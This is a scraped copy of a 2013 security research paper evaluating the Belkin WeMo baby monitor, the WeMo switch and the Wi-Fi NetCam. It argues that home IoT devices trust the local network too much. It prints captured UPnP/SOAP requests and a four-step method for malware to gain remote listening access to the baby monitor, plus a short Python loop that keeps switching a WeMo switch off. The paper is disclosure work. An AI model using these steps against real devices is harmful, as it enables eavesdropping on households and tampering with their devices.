...

!! ! THE BELKIN WeMo BABY MONITOR, THE WeMo SWITCH, AND THE... RECONSIDERING THE PERIMETER SECURITY ARGUMENT

by user

on
Category: Documents
18

views

Report

Comments

Transcript

!! ! THE BELKIN WeMo BABY MONITOR, THE WeMo SWITCH, AND THE... RECONSIDERING THE PERIMETER SECURITY ARGUMENT
Internet of Things Security Evaluation Series
!!
!!
!!
!!
!!
!!
!!
!
THE BELKIN WeMo BABY MONITOR, THE WeMo SWITCH, AND THE Wi-Fi NetCam
!
RECONSIDERING THE PERIMETER SECURITY ARGUMENT
!
!
!
!
!
by NITESH DHANJANI
2013
Internet of Things Security Evaluation Series
It’s been a decade since we’ve accepted the idea that the perimeter strategy to security is ineffective: The
endpoints must strive to protect their own stack rather than rely on their network segment being completely
trust worthy. However, this notion has mostly permeated the corporate space as an emergency. Even such,
businesses are still struggling with implementing controls in this area given the legacy of flat networks and
Operating System design.
!
When it comes to residences, the implicit notion is that controls beyond Network Address Translation (NAT)
aren’t immediately necessary from the perspective of cost and complexity. The emergence of Internet of
Things (IoT) is going to dramatically change this notion. To illustrate these thoughts, we will take upon the
security design of the Belkin WeMo baby monitor, WeMo wireless switch, and the Net-Cam Wi-Fi camera.
These devices were particularly picked based on their popularity within the consumer space and the fact that
they are self-installable.
!
The WeMo Baby Monitor
!
The Belkin WeMo baby monitor is a neat little device. It hops on Wi-Fi and lets the consumer monitor their
baby from an iPhone or an iPad. It is also possible monitor the baby when away from home.
!
!!
!
Figure 1: The Belkin WeMo baby monitor
Since the baby monitor transmits audio over the network (internally and externally), a vulnerability in the
product could result in remote eavesdropping. The paragraphs below outline security concerns in this area.
Users with one-time access to the local Wi-Fi are allowed to eavesdrop
remotely and indefinitely
!
In order to listen into the baby monitor, the user must download the “WeMo Baby” iOS app1.
1
!
WeMo Baby iOS app: https://itunes.apple.com/us/app/wemo-baby/id502039705
2013
Internet of Things Security Evaluation Series
!
!
Figure 2: WeMo Baby iOS app
Once the user launches the iOS app while on the local Wi-Fi network, the app locates the baby monitor and
submits the following POST request to the baby monitor:
GET /setup.xml HTTP/1.1
Content-Length: 0
HOST: 10.0.1.2:49153
User-Agent: CyberGarage-HTTP/1.0
!
!
And the baby monitor responds:
<root xmlns="urn:Belkin:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<deviceType>urn:Belkin:device:wemo_baby:1</deviceType>
<friendlyName>WeMo Baby</friendlyName>
<manufacturer>Belkin International Inc.</manufacturer>
<manufacturerURL>http://www.belkin.com</manufacturerURL>
<modelDescription>Belkin Plugin Socket 1.0</modelDescription>
<modelName>Socket</modelName>
<modelNumber>1.0</modelNumber>
<modelURL>http://www.belkin.com/plugin/</modelURL>
<serialNumber>[DELETED]</serialNumber>
<UDN>uuid:wemo_baby-1_0-[DELETED]</UDN>
<UPC>123456789</UPC>
<macAddress>[DELETED]</macAddress>
<firmwareVersion>WeMo_WW_2.00.2397.PVT_Baby</firmwareVersion>
2013
Internet of Things Security Evaluation Series
<iconVersion>0|49153</iconVersion>
<binaryState>0</binaryState>
<iconList>
<icon>
<mimetype>jpg</mimetype>
<width>100</width>
<height>100</height>
<depth>100</depth>
<url>icon.jpg</url>
</icon>
</iconList>
<serviceList>
<service>
<serviceType>urn:Belkin:service:WiFiSetup:1</serviceType>
<serviceId>urn:Belkin:serviceId:WiFiSetup1</serviceId>
<controlURL>/upnp/control/WiFiSetup1</controlURL>
<eventSubURL>/upnp/event/WiFiSetup1</eventSubURL>
<SCPDURL>/setupservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:timesync:1</serviceType>
<serviceId>urn:Belkin:serviceId:timesync1</serviceId>
<controlURL>/upnp/control/timesync1</controlURL>
<eventSubURL>/upnp/event/timesync1</eventSubURL>
<SCPDURL>/timesyncservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:basicevent:1</serviceType>
<serviceId>urn:Belkin:serviceId:basicevent1</serviceId>
<controlURL>/upnp/control/basicevent1</controlURL>
<eventSubURL>/upnp/event/basicevent1</eventSubURL>
<SCPDURL>/eventservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:firmwareupdate:1</serviceType>
<serviceId>urn:Belkin:serviceId:firmwareupdate1</serviceId>
<controlURL>/upnp/control/firmwareupdate1</controlURL>
<eventSubURL>/upnp/event/firmwareupdate1</eventSubURL>
<SCPDURL>/firmwareupdate.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:rules:1</serviceType>
<serviceId>urn:Belkin:serviceId:rules1</serviceId>
<controlURL>/upnp/control/rules1</controlURL>
<eventSubURL>/upnp/event/rules1</eventSubURL>
<SCPDURL>/rulesservice.xml</SCPDURL>
</service>
.
<service>
<serviceType>urn:Belkin:service:metainfo:1</serviceType>
<serviceId>urn:Belkin:serviceId:metainfo1</serviceId>
<controlURL>/upnp/control/metainfo1</controlURL>
<eventSubURL>/upnp/event/metainfo1</eventSubURL>
<SCPDURL>/metainfoservice.xml</SCPDURL>
</service>
!
<service>
<serviceType>urn:Belkin:service:remoteaccess:1</serviceType>
2013
Internet of Things Security Evaluation Series
!
.
<serviceId>urn:Belkin:serviceId:remoteaccess1</serviceId>
<controlURL>/upnp/control/remoteaccess1</controlURL>
<eventSubURL>/upnp/event/remoteaccess1</eventSubURL>
<SCPDURL>/remoteaccess.xml</SCPDURL>
</service>
</serviceList>
<presentationURL>/pluginpres.html</presentationURL>
</device>
</root>
!
!
!
The items of note in the response from the baby monitor are the serial number and the exposure of the
remoteaccess1 service.
The iOS app also sends the following request:
POST /upnp/control/remoteaccess1 HTTP/1.1
Content-Type: text/xml; charset="utf-8"
SOAPACTION: "urn:Belkin:service:remoteaccess:1#RemoteAccess"
Content-Length: 589
HOST: 10.0.0.2:49153
User-Agent: CyberGarage-HTTP/1.0
!
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:RemoteAccess xmlns:u="urn:Belkin:service:remoteaccess:1">
<DeviceId>[removed]</DeviceId>
<dst>0</dst>
<HomeId></HomeId>
<DeviceName>iPad 4G</DeviceName>
<MacAddr></MacAddr>
<pluginprivateKey></pluginprivateKey>
<smartprivateKey></smartprivateKey>
<smartUniqueId></smartUniqueId>
<numSmartDev></numSmartDev>
</u:RemoteAccess>
</s:Body>
</s:Envelope>
!
!
The baby monitor responds to the request:
HTTP/1.1 200 OK
CONTENT-LENGTH: 631
CONTENT-TYPE: text/xml; charset="utf-8"
DATE: Tue, 24 Sep 2013 12:50:37 GMT
EXT:
SERVER: Linux/2.6.21, UPnP/1.0, Portable SDK for UPnP devices/1.6.18
X-User-Agent: redsonic
!
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body>
<u:RemoteAccessResponse xmlns:u="urn:Belkin:service:remoteaccess:1">
<homeId>[DELETED]</homeId>
<pluginprivateKey>[DELETED}</pluginprivateKey>
<smartprivateKey>[DELETED]/smartprivateKey>
2013
Internet of Things Security Evaluation Series
<resultCode>PLGN_200</resultCode>
<description>Successful</description>
<statusCode>S</statusCode>
<smartUniqueId>[DELETED]</smartUniqueId>
<numSmartDev>3</numSmartDev>
</u:RemoteAccessResponse>
</s:Body> </s:Envelope>
!
!
The smartUniqueID returned by the baby monitor is the same as the DeviceId value POSTed by the
iOS app.
The WeMo Baby architecture uses the SIP protocol for audio. When the user clicks on the “Listen” button,
the iOS app and the baby monitor connect through a SIP proxy [54.236.158.75:6060]. Here is an
example of the SIP traffic:
!
SIP/2.0 100 Trying
Via: SIP/2.0/TCP
10.0.0.2:59662;rport=4096;received=10.0.0.115;branch=[DELETED
Record-Route: <sip:k2.k.belkin.evodevices.com:
6060;transport=tcp;lr;did=f9e.f801;nat=yes>
Call-ID: [DELETED]
From: <sip:[DELETED but same as smartUniqueId and
DeviceID]@bedev.evomonitors.com>;tag=[removed]
To: <sip:[DELETED but same as serialNumber]@bedev.evomonitors.com>
CSeq: 5874 INVITE
Content-Length: 0
!
SIP/2.0 200 OK
Via: SIP/2.0/TCP
10.0.0.2:59662;rport=4096;received=10.0.0.115;branch=[DELETED]
Record-Route: <sip:k2.k.belkin.evodevices.com:
6060;transport=tcp;lr;did=f9e.f801;nat=yes>
Call-ID: [DELETED]
From: <sip: [DELETED but same as smartUniqueId and
DeviceID]@bedev.evomonitors.com>;tag=[DELETED]
To: <sip:[DELETED but same as
serialNumber]@bedev.evomonitors.com>;tag=[DELETED]
CSeq: 5874 INVITE
Contact: <sip: [DELETED but same as
serialNumber]@10.0.0.115:3925;transport=tcp;ob>;+sip.ice
Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, SUBSCRIBE, NOTIFY, REFER,
MESSAGE, OPTIONS
Supported: replaces, 100rel, timer, norefersub
Session-Expires: 91;refresher=uac
Content-Type: application/sdp
Content-Length:
368
!
v=0
o=- 3589015852 3589015853 IN IP4 10.0.1.2
s=pjmedia
c=IN IP4 10.0.1.2
b=AS:84
t=0 0
a=X-nat:0
m=audio 3106 RTP/AVP 3 96
c=IN IP4 10.0.1.2
b=TIAS:64000
b=RS:0
2013
Internet of Things Security Evaluation Series
b=RR:0
a=sendrecv
a=rtpmap:3 GSM/8000
a=rtpmap:96 telephone-event/8000
a=fmtp:96 0-15
a=ice-ufrag: [REMOVED]
a=ice-pwd:[DELETED]
a=candidate:Ha000102 1 UDP 2130706431 10.0.1.2 3106 typ host
!
!
Figure 3: Video demonstration of WeMo app authorization
The obvious issue here is that a user with one-time access to the local Wi-Fi where the baby monitor can
register itself without authentication and authorization. It can also continue to access the baby monitor
remotely until a local user specifically deletes the device from the “Access” list (using the iOS app while on
the local Wi-Fi). This issue is demonstrated in the YouTube video available at http://youtu.be/ERqSpjMGhjQ.
Figure 4: Lon J. Seidman’s review of the WeMo baby monitor
!
2013
Internet of Things Security Evaluation Series
A realistic scenario of this issue is that of a friend visiting a location and requesting temporary access to
Wi-Fi. If this individual were to access the WeMo Baby app, he or she can then continue to listen in to the
baby monitor remotely. On this note, Lon J. Seidman’s Amazon review of the WeMo baby monitor specifically
states his concern over this design issue (Figure 4). The review is titled “Poor security, iOS background tasks
not reliable enough for child safety”2.
!
“...But that's not the only issue plaguing this device. The other is a very poor security model that leaves the
WeMo open to unwelcome monitoring. The WeMo allows any iOS device on your network to connect to it
and listen in without a password. If that's not bad enough, when an iPhone has connected once on the local
network it can later tune into the monitor from anywhere in the world. Belkin assumes that your access point
is secured and that the only people accessing it are people you know. This is especially troublesome for
people who don't secure their access points or are using weak security that's vulnerable to cracking.
!
Belkin seems to acknowledge this vulnerability in the software, showing which devices can connect to the
WeMo and whether or not to allow global snooping. Unfortunately WeMo gives full access to every device
right out of the gate, requiring you to continually monitor it to ensure that an unauthorized listener hasn't
connected to it.
!
The bottom line? It's not reliable enough to make it an effective monitor for my child, nor is it secure enough
to give me the confidence that others can't snoop in. For those reasons I simply can't recommend this
product”
!
!
!
!
This is important context since the concern is expressed by an actual user, in this case an expecting parent.
In response to Seidman’s review, Belkin issued this comment:
“Hello Lon,
Thanks for taking the time to review the WeMo Audio Baby monitor. We appreciate your security concerns
and would like to respond to the issues you raise. For homes that use a password for their WiFi, our product
is as secure as any item on that network. For someone to get access to the baby monitor a person would
need to discover that password. For homes without a password we recommend they implement one for the
general security of everything they do on their home network. We are adding this recommendation to our
Frequently Asked Questions.
!
As you correctly identified, families are able to give access to others by sharing their WiFi password with
trusted friends or family members. We believe this is a positive feature of the system and expect people will
treat the sharing of this password with care as it gives access to their home network. However for those who
are concerned, when logged onto the baby monitor, it's possible to disable the remote access of others if
uncomfortable with having others listening.
!
!
!
If you have any other feedback you would like to share with us we are always happy to hear it. Please write
us at [email protected].
Best Regards,
Belkin Support”
As we add additional IoT devices to our homes, the reliance on Wi-Fi security becomes a hard sell. Given the
impact to our physical privacy and safety, it’s difficult to stand by the argument that all bets are off once a
single device (computer or IoT device) is compromised. Homes in developed countries are bound to have
dozens of remotely controllable IoT devices. The single point of failure can’t be the Wi-Fi password. What’s
2
! Lon
J. Seidman’s Amazon review: http://www.amazon.com/review/R1KDQKNWBBISY1/
2013
Internet of Things Security Evaluation Series
more, a compromised computer or device will already have access to the network so the Wi-Fi password is
not needed by the remote attacker - this point takes us to the issue of malware which is discussed in the
next section.
!
Malware can gain authorization and enable remote access
Should a device on the local Wi-Fi network be compromised, malware can easily obtain authorization on
behalf of the malware author by following these simple steps:
!
1.
2.
3.
4.
!
Locate the WeMo baby monitor on the local network.
Issue GET request to /setup.xml to obtain the serialNumber.
Issue POST request to /upnp/control/remoteaccess1 with self chosen DeviceID.
Transmit the serialNumber and DeviceID to the malware author. As shown in the SIP requests
above, this is the secret information needed to initiate a connection to the baby monitor and listen in.
We can expect malware authors to incorporate scanning of the local network for IoT devices. Once a device
is located, such a scenario is easy to implement given that all local devices can authorize themselves for
remote access.
!!
The WeMo Switch
!
The WeMo switch lets you turn electronic devices on or off from your iOS device.
!
!!
!!
!
Figure 5: The WeMo switch
The switch uses WiFi and can be controlled locally or remotely.
2013
Internet of Things Security Evaluation Series
!
!
!
Figure 6: The WeMo iOS app used to control the switch
The WeMo iOS app is quite simple to use. The user can click on the power button to turn the plugged-in
device on or off.
The iOS app sends the following Universal Plug and Play (UPnP)3 request to locate the switch on the local
network using UDP:
M-SEARCH * HTTP/1.1
HOST:239.255.255.250:1900
ST:upnp:rootdevice
MX:2
MAN:"ssdp:discover"
!
!
The switch then responds with the following data:
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=86400
DATE: Mon, 14 Oct 2013 10:48:31 GMT
LOCATION: http://10.0.1.8:49153/setup.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: [removed]
SERVER: Unspecified, UPnP/1.0, Unspecified
X-User-Agent: redsonic
ST: upnp:rootdevice
USN: uuid:Socket-1_0-[removed]::upnp:rootdevice
3
!
Universal Plug and Play: http://en.wikipedia.org/wiki/Universal_Plug_and_Play
2013
Internet of Things Security Evaluation Series
!
!
Here is the content of setup.xml:
<?xml version="1.0"?>
<root xmlns="urn:Belkin:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<deviceType>urn:Belkin:device:controllee:1</deviceType>
<friendlyName>WeMo Switch</friendlyName>
<manufacturer>Belkin International Inc.</manufacturer>
<manufacturerURL>http://www.belkin.com</manufacturerURL>
<modelDescription>Belkin Plugin Socket 1.0</modelDescription>
<modelName>Socket</modelName>
<modelNumber>1.0</modelNumber>
<modelURL>http://www.belkin.com/plugin/</modelURL>
<serialNumber>[REMOVED]</serialNumber>
<UDN>[REMOVED]</UDN>
<UPC>123456789</UPC>
<macAddress>[REMOVED]</macAddress>
<firmwareVersion>WeMo_US_2.00.2769.PVT</firmwareVersion>
<iconVersion>0|49153</iconVersion>
<binaryState>0</binaryState>
<iconList>
<icon>
<mimetype>jpg</mimetype>
<width>100</width>
<height>100</height>
<depth>100</depth>
<url>icon.jpg</url>
</icon>
</iconList>
<serviceList>
<service>
<serviceType>urn:Belkin:service:WiFiSetup:1</serviceType>
<serviceId>urn:Belkin:serviceId:WiFiSetup1</serviceId>
<controlURL>/upnp/control/WiFiSetup1</controlURL>
<eventSubURL>/upnp/event/WiFiSetup1</eventSubURL>
<SCPDURL>/setupservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:timesync:1</serviceType>
<serviceId>urn:Belkin:serviceId:timesync1</serviceId>
<controlURL>/upnp/control/timesync1</controlURL>
<eventSubURL>/upnp/event/timesync1</eventSubURL>
<SCPDURL>/timesyncservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:basicevent:1</serviceType>
<serviceId>urn:Belkin:serviceId:basicevent1</serviceId>
<controlURL>/upnp/control/basicevent1</controlURL>
<eventSubURL>/upnp/event/basicevent1</eventSubURL>
<SCPDURL>/eventservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:firmwareupdate:1</serviceType>
2013
Internet of Things Security Evaluation Series
<serviceId>urn:Belkin:serviceId:firmwareupdate1</serviceId>
<controlURL>/upnp/control/firmwareupdate1</controlURL>
<eventSubURL>/upnp/event/firmwareupdate1</eventSubURL>
<SCPDURL>/firmwareupdate.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:rules:1</serviceType>
<serviceId>urn:Belkin:serviceId:rules1</serviceId>
<controlURL>/upnp/control/rules1</controlURL>
<eventSubURL>/upnp/event/rules1</eventSubURL>
<SCPDURL>/rulesservice.xml</SCPDURL>
</service>
!
!
<service>
<serviceType>urn:Belkin:service:metainfo:1</serviceType>
<serviceId>urn:Belkin:serviceId:metainfo1</serviceId>
<controlURL>/upnp/control/metainfo1</controlURL>
<eventSubURL>/upnp/event/metainfo1</eventSubURL>
<SCPDURL>/metainfoservice.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:remoteaccess:1</serviceType>
<serviceId>urn:Belkin:serviceId:remoteaccess1</serviceId>
<controlURL>/upnp/control/remoteaccess1</controlURL>
<eventSubURL>/upnp/event/remoteaccess1</eventSubURL>
<SCPDURL>/remoteaccess.xml</SCPDURL>
</service>
<service>
<serviceType>urn:Belkin:service:deviceinfo:1</serviceType>
<serviceId>urn:Belkin:serviceId:deviceinfo1</serviceId>
<controlURL>/upnp/control/deviceinfo1</controlURL>
<eventSubURL>/upnp/event/deviceinfo1</eventSubURL>
<SCPDURL>/deviceinfoservice.xml</SCPDURL>
</service>
</serviceList>
<presentationURL>/pluginpres.html</presentationURL>
</device>
</root>
!!
!!
!!
!!
!!
!!
!
2013
Internet of Things Security Evaluation Series
!
Figure 7: Remote access setup in the WeMo iOS app
Notice the remoteaccess1 service. It is invoked similarly to the example listed for WeMo baby. An
additional request is sent to https://api.xbcs.net:8433/apis/http/plugin/push/register
with the authorization token (similar to DeviceID).
!
!
If the user toggles the switch in the app from a remote location a POST request is sent to https://
api.xbcs.net:8443/apis/http/plugin/message:
POST /apis/http/plugin/message HTTP/1.1
Host: api.xbcs.net:8443
Authorization: SDU [DELETED, token similar to DeviceID]
Accept-Encoding: gzip
Content-Type: application/xml
Content-Length: 899
Accept: application/xml
Connection: close
Proxy-Connection: close
User-Agent: WeMo 1.2.6 rv:11793 (iPhone; iPhone OS 7.0.2; en_US)
!
<plugins>
<plugin>
<recipientId>[DELETED]</recipientId>
<macAddress>[DELETED]</macAddress>
<content>
<![CDATA[<pluginDeviceStatus>
<plugin>
<pluginId>959693</pluginId>
<macAddress>[DELETED]</macAddress>
<status>0</status>
<friendlyName>friendlyName</friendlyName>
2013
Internet of Things Security Evaluation Series
<firmwareVersion></firmwareVersion>
<fwUpgradeStatus></fwUpgradeStatus>
<signalStrength></signalStrength>
</plugin>
</pluginDeviceStatus>
]]>
</content>
</plugin>
<plugin>
<recipientId>[DELETED]</recipientId>
<macAddress>[DELETED]</macAddress>
<content>
<![CDATA[<pluginDeviceStatus>
<plugin>
<pluginId>[DELETED]</pluginId>
<macAddress>[DELETED[</macAddress>
<status>0</status>
<friendlyName>friendlyName</friendlyName>
<firmwareVersion></firmwareVersion>
<fwUpgradeStatus></fwUpgradeStatus>
<signalStrength></signalStrength>
</plugin>
</pluginDeviceStatus>
]]>
</content>
</plugin>
</plugins>
!
!
If the user is in the same Wi-Fi network, a local POST request is sent directly to the switch to turn it off:
POST /upnp/control/basicevent1 HTTP/1.1
SOAPACTION: "urn:Belkin:service:basicevent:1#SetBinaryState"
Content-Length: 316
Content-Type: text/xml; charset="utf-8"
HOST: 10.0.1.8:49153
User-Agent: CyberGarage-HTTP/1.0
!
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:SetBinaryState xmlns:u="urn:Belkin:service:basicevent:1">
<BinaryState>0</BinaryState>
</u:SetBinaryState>
</s:Body>
</s:Envelope>
!
!
Notice that in this case, the iOS app sends no authorization token. The switch responds:
HTTP/1.1 200 OK
CONTENT-LENGTH: 285
CONTENT-TYPE: text/xml; charset="utf-8"
DATE: Mon, 14 Oct 2013 10:58:26 GMT
EXT:
SERVER: Unspecified, UPnP/1.0, Unspecified
X-User-Agent: redsonic
!
2013
Internet of Things Security Evaluation Series
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body>
<u:SetBinaryStateResponse xmlns:u="urn:Belkin:service:basicevent:1">
<BinaryState>0</BinaryState>
</u:SetBinaryStateResponse>
</s:Body> </s:Envelope>
!!
Malware can gain authorization and enable remote access
!
!
Similar to the situation in WeMo baby, malware on the local network can easily turn devices on the WeMo
switch on or off by directly invoking a POST request to /upnp/control/basicevent1.
Isaac Kelly has create a proof-of-concept toolkit4 in Python to test local access to the WeMo switch. For
demonstration purposes, a simple malware script with local access can wrap use this framework to
perpetually turn the electronic device (plugged into the WeMo switch) off:
!
!
!
!
#!/usr/bin/python
import time
from wemo import on, off, get
while True:
off()
time.sleep(5)
!!
!
A video demonstration of this can be seen at http://youtu.be/2EoeuczdoSs.
!
4
!
Figure 8: Video demonstration of malware targeting WeMo switch
Isaac Kelly’s python WeMo proof-of-concept toolkit: https://github.com/issackelly/wemo
2013
Internet of Things Security Evaluation Series
Also similar to WeMo baby, the malware script can obtain remote access and ship the authorized token to an
attacker remotely. In this scenario a potential botnet herder can easily gain remote access to multiple WeMo
switches in homes where his or her malware has been deployed.
!!
Wi-Fi NetCam
!
The Belkin Wi-Fi NetCam lets users remotely view video from the camera.
!
!
Figure 9: The Belkin Wi-Fi NetCam
The NetCam app5 can be used to remotely view the video from the camera.
5
!
NetCam app: https://itunes.apple.com/us/app/belkin-netcam/id568129866
2013
Internet of Things Security Evaluation Series
!
!!
Figure 10: NetCam app login screen
The good thing about the NetCam app is that it requires a password even if the user is on the local Wi-Fi.
The app and the camera also use SSL for network traffic.
NetCam password can be captured by local Wi-Fi users and by the internet
service provider to obtain full blown remote access to the camera
!
Even though the NetCam app as well as the camera use SSL, network packet analysis shows that is alos
sends the password in clear-text password to 66.160.133.67.
!
!
Figure 11: NetCam username and password transmitted in clear via the Internet
!
Figure 12: Attacker spying on victim (who happens to be wearing a horse mask)
In this case, anyone with access to the local Wi-Fi network can obtain the credentials. This could be a
malicious individual or malware. Routers along the path to 66.160.133.67 can also capture the
credentials.
2013
Internet of Things Security Evaluation Series
Once the attacker or botnet herder has collected the credentials, he or she can spy on the victim using the
Netcam app (illustrated in Figure 12) or through the website https://netcam.belkin.com/.
!!
Conclusion
!
The phenomenon of the Internet of Things (IoT) is positively influencing our lives by augmenting our spaces
with intelligent and connected devices. Examples of these devices include lightbulbs, motion sensors, door
locks, video cameras, thermostats, baby monitors, wireless switches, and power outlets. By 2022, the
average household with two teenage children will own dozens of such Internet connected devices.
!
Given the upcoming revolution of automation in our homes, we are already seeing self-installable IoT devices
such as the candidates discussed in this document. As seen by the detailed illustrations in the above
examples, we cannot secure our future by asserting that IoT devices and supporting applications have no
responsibility to protecting the user’s privacy and security beyond requiring the user setup a strong WiFi
password.
!
IoT device manufacturers should lay the foundation for a strong security architecture that is usable as well as
not easily susceptible to other devices on the network. In these times, a compromised device on a home
network can lead to the loss of financial information and personal information. If IoT device vendors continue
their approach of depending on the local home network and all other device being completely secure, we will
live in a world where a compromised device can result in gross remote violation of privacy and physical
security of it’s customers.
2013
Internet of Things Security Evaluation Series
About the Author
Nitesh Dhanjani is a well known security researcher, author, and speaker.
Dhanjani is the author of “Hacking: The Next Generation” (O’Reilly),
"Network Security Tools: Writing, Hacking, and Modifying Security
Tools" (O'Reilly) and "HackNotes: Linux and Unix Security" (Osborne
McGraw-Hill). He is also a contributing author to "Hacking Exposed
4" (Osborne McGraw-Hill) and "HackNotes: Network Security". Dhanjani
has been invited to talk at various information security events such as the
Black Hat Briefings, RSA, Hack in the Box, Microsoft Blue Hat, and
OSCON.
!
Dhanjani is currently an Executive Director at a large consulting firm where
he advises some of the largest corporations around the world on how to
establish enterprise wide information security programs and solutions.
Dhanjani is also responsible for evangelizing brand new technology service
lines around emerging technologies and trends such as smart devices, cloud computing, and mobile
security.
!
Prior to his current job, Dhanjani was Senior Director of Application Security and Assessments at a major
credit bureau where he spearheaded brand new security efforts into enhancing the enterprise SDLC, created
a process for performing source code security reviews & Threat Modeling, and managed the Attack &
Penetration team.
!
Dhanjani graduated from Purdue University with both a Bachelors and Masters degree in Computer Science.
2013
Fly UP